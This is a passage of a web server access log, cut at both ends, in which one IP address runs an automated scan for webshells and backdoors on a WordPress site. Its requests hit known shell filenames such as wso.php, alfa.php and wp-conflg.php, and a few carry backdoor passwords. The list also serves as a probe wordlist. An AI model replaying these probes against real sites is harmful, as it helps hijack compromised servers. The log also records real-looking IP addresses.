-0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:41 -0400] "GET /wp-admin/images/layout.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:42 -0400] "GET /wp-admin/images/users.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:43 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:43 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:44 -0400] "GET /wp-admin/includes//12wvdscz.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:45 -0400] "GET /wp-admin/includes//inputs.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:45 -0400] "GET /wp-admin/includes//install.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:46 -0400] "GET /wp-admin/includes//links.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:47 -0400] "GET /wp-admin/includes//nav.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:48 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:50 -0400] "GET /wp-admin/includes/about.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:52 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:53 -0400] "GET /wp-admin/includes/cong.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:54 -0400] "GET /wp-admin/includes/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:56 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:58 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:59 -0400] "GET /wp-admin/includes/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:00 -0400] "GET /wp-admin/includes/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:02 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:06 -0400] "GET /wp-admin/includes/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:10 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:15 -0400] "GET /wp-admin/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:18 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:19 -0400] "GET /wp-admin/item.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:20 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:21 -0400] "GET /wp-admin/js//themes.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:22 -0400] "GET /wp-admin/js//wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:23 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:25 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:25 -0400] "GET /wp-admin/js/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:26 -0400] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:27 -0400] "GET /wp-admin/js/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:29 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:30 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:31 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:32 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:32 -0400] "GET /wp-admin/js/widgets/edit.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:33 -0400] "GET /wp-admin/js/widgets/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:34 -0400] "GET /wp-admin/js/widgets/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:35 -0400] "GET /wp-admin/js/widgets/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:36 -0400] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:37 -0400] "GET /wp-admin/js/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:37 -0400] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:38 -0400] "GET /wp-admin/kpjQgosHcIU.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:38 -0400] "GET /wp-admin/log.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:39 -0400] "GET /wp-admin/m5gxnfKML7e.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:39 -0400] "GET /wp-admin/mah.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:40 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:40 -0400] "GET /wp-admin/maint//go.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:41 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:41 -0400] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:42 -0400] "GET /wp-admin/maint/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:42 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:43 -0400] "GET /wp-admin/maint/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:44 -0400] "GET /wp-admin/maint/index.php?pass=lin598853003 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:45 -0400] "GET /wp-admin/maint/users.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:45 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:46 -0400] "GET /wp-admin/media.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:46 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:48 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:49 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:50 -0400] "GET /wp-admin/network/admiin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:51 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:52 -0400] "GET /wp-admin/network/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:53 -0400] "GET /wp-admin/network/b.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:53 -0400] "GET /wp-admin/network/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:54 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:56 -0400] "GET /wp-admin/network/natural.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:56 -0400] "GET /wp-admin/network/network.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:57 -0400] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:57 -0400] "GET /wp-admin/network/upfile.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:58 -0400] "GET /wp-admin/network/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:58 -0400] "GET /wp-admin/network/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:58 -0400] "GET /wp-admin/network/x2.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:59 -0400] "GET /wp-admin/network/xBrain.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:59 -0400] "GET /wp-admin/network/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:05:59 -0400] "GET /wp-admin/nu9OXf8vKDb.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:00 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:00 -0400] "GET /wp-admin/plugin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:01 -0400] "GET /wp-admin/plugins HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:01 -0400] "GET /wp-admin/plugins/setup HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:01 -0400] "GET /wp-admin/pn2V4tLmwH3.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:02 -0400] "GET /wp-admin/radio.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:03 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:03 -0400] "GET /wp-admin/shapes.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:04 -0400] "GET /wp-admin/shell.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:04 -0400] "GET /wp-admin/shell.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:05 -0400] "GET /wp-admin/soDcBgSFtLA.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:06 -0400] "GET /wp-admin/swm6p5Zny1e.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:06 -0400] "GET /wp-admin/tYDX5wNaIbH.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:07 -0400] "GET /wp-admin/themes HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:08 -0400] "GET /wp-admin/uiTWAJnRoeg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:08 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:09 -0400] "GET /wp-admin/user/?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:09 -0400] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:10 -0400] "GET /wp-admin/user/about.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:11 -0400] "GET /wp-admin/user/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:12 -0400] "GET /wp-admin/user/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:13 -0400] "GET /wp-admin/user/bak.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:13 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:13 -0400] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:14 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:15 -0400] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:16 -0400] "GET /wp-admin/user/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:17 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:17 -0400] "GET /wp-admin/wEvOhNfjUQY.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:18 -0400] "GET /wp-admin/wp-admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:19 -0400] "GET /wp-admin/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:19 -0400] "GET /wp-admin/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:20 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:21 -0400] "GET /wp-admin/wp.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:21 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:22 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:23 -0400] "GET /wp-api.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:24 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:24 -0400] "GET /wp-back.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:24 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:25 -0400] "GET /wp-blog-header.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:26 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:26 -0400] "GET /wp-blog.php?pass=hill HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:27 -0400] "GET /wp-checkbex.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:27 -0400] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:27 -0400] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:28 -0400] "GET /wp-conf.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:28 -0400] "GET /wp-conf.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:29 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:29 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:30 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:30 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:31 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:31 -0400] "GET /wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:32 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:33 -0400] "GET /wp-content//auto.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:34 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:34 -0400] "GET /wp-content/about.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:35 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:36 -0400] "GET /wp-content/alfa.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:36 -0400] "GET /wp-content/atomlib.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:37 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:37 -0400] "GET /wp-content/autoload_classmap.php/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:38 -0400] "GET /wp-content/b.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:38 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:39 -0400] "GET /wp-content/blue.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:40 -0400] "GET /wp-content/cache/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:41 -0400] "GET /wp-content/cache/w.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:41 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:42 -0400] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:42 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:43 -0400] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:43 -0400] "GET /wp-content/function.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:44 -0400] "GET /wp-content/gallery/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:44 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:45 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:45 -0400] "GET /wp-content/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:46 -0400] "GET /wp-content/index.php?x=ooo HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:47 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:48 -0400] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:48 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:49 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:50 -0400] "GET /wp-content/languages/asus.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:51 -0400] "GET /wp-content/languages/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:52 -0400] "GET /wp-content/languages/ebbqviXwm.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:53 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:54 -0400] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:54 -0400] "GET /wp-content/languages/themes/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:55 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:56 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:56 -0400] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:57 -0400] "GET /wp-content/mu-plugins-old/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:57 -0400] "GET /wp-content/mu-plugins-old/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:58 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:59 -0400] "GET /wp-content/mu-plugins/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:06:59 -0400] "GET /wp-content/mu-plugins/item.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:00 -0400] "GET /wp-content/packed.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:01 -0400] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:01 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:02 -0400] "GET /wp-content/plugins//about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:03 -0400] "GET /wp-content/plugins//hello.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:03 -0400] "GET /wp-content/plugins//index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:05 -0400] "GET /wp-content/plugins/Duplicatepost/src/ui/sidwso.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:05 -0400] "GET /wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:07 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:08 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:08 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:09 -0400] "GET /wp-content/plugins/about.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:10 -0400] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:11 -0400] "GET /wp-content/plugins/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 185.147.125.18 - - [16/Apr/2025:16:07:11 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 40.69.36.253 - - [16/Apr/2025:16:07:11 -0400] "GET /wp-content/plugins/ango/sett.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:12 -0400] "GET /wp-content/plugins/apikey/natural.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:12 -0400] "GET /wp-content/plugins/b.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:13 -0400] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:14 -0400] "GET /wp-content/plugins/classic-editor//about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:14 -0400] "GET /wp-content/plugins/classic-editor//classic-editor.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:16 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:16 -0400] "GET /wp-content/plugins/core-plugin/wp-error_log.php?dir=. HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:17 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:17 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:18 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:19 -0400] "GET /wp-content/plugins/elementor//elementor-object.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:19 -0400] "GET /wp-content/plugins/elementor//wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:20 -0400] "GET /wp-content/plugins/elementor/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:21 -0400] "GET /wp-content/plugins/elementor/includes/settings/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:21 -0400] "GET /wp-content/plugins/elementor/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:22 -0400] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:23 -0400] "GET /wp-content/plugins/erinyani/yani/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:24 -0400] "GET /wp-content/plugins/fix/00.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:25 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:26 -0400] "GET /wp-content/plugins/goods.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:26 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:27 -0400] "GET /wp-content/plugins/html404/index.html HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:28 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:29 -0400] "GET /wp-content/plugins/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:29 -0400] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:30 -0400] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:31 -0400] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:32 -0400] "GET /wp-content/plugins/linkpreview/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:32 -0400] "GET 